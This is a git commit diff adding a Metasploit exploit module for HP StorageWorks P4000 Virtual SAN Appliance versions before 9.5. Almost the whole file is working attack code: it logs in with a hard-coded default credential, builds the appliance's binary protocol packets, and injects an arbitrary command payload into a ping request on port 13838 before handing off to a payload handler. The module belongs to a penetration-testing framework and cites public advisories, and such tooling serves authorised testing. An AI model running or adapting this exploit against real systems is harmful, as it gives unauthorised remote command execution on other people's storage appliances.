Add HP StorageWorks VSA command execution vulnerability
parent
48d6157d6e
commit
d8c3edd316
|
@ -0,0 +1,99 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "HP StorageWorks P4000 Virtual SAN Appliance Command Execution",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in HP's StorageWorks P4000 VSA,
|
||||
versions prior to 9.5. By using a default account credential, it is possible
|
||||
to inject arbitrary commands as part of a ping request via port 13838.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Nicolas Gregoire', #Discovery, PoC, additional assistance
|
||||
'sinn3r' #Metasploit
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['EDB', '18893'],
|
||||
['URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?loc=en_US&id=958'],
|
||||
['URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03082086']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "/",
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl telnet bash'
|
||||
}
|
||||
},
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'ExitFunction' => "none"
|
||||
},
|
||||
'Platform' => ['unix', 'linux'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' =>
|
||||
[
|
||||
['HP VSA prior to 9.5', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Nov 11 2011",
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptPort.new('RPORT', [true, 'The remote port', 13838])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def generate_packet(data)
|
||||
pkt = "\x00\x00\x00\x00\x00\x00\x00\x01"
|
||||
pkt << [data.length + 1].pack("N*")
|
||||
pkt << "\x00\x00\x00\x00"
|
||||
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
pkt << "\x00\x00\x00\x14\xff\xff\xff\xff"
|
||||
pkt << data
|
||||
pkt << "\x00"
|
||||
|
||||
pkt
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
connect
|
||||
|
||||
# Login packet
|
||||
print_status("Sending login packet")
|
||||
packet = generate_packet("login:/global$agent/L0CAlu53R/Version \"8.5.0\"")
|
||||
sock.put(packet)
|
||||
res = sock.get_once
|
||||
vprint_status(Rex::Text.to_hex_dump(res)) if res
|
||||
|
||||
# Command execution
|
||||
print_status("Sending injection")
|
||||
data = "get:/lhn/public/network/ping/127.0.0.1/foobar;#{payload.encoded}/"
|
||||
packet = generate_packet(data)
|
||||
sock.put(packet)
|
||||
res = sock.get_once
|
||||
vprint_status(Rex::Text.to_hex_dump(res)) if res
|
||||
|
||||
handler
|
||||
disconnect
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue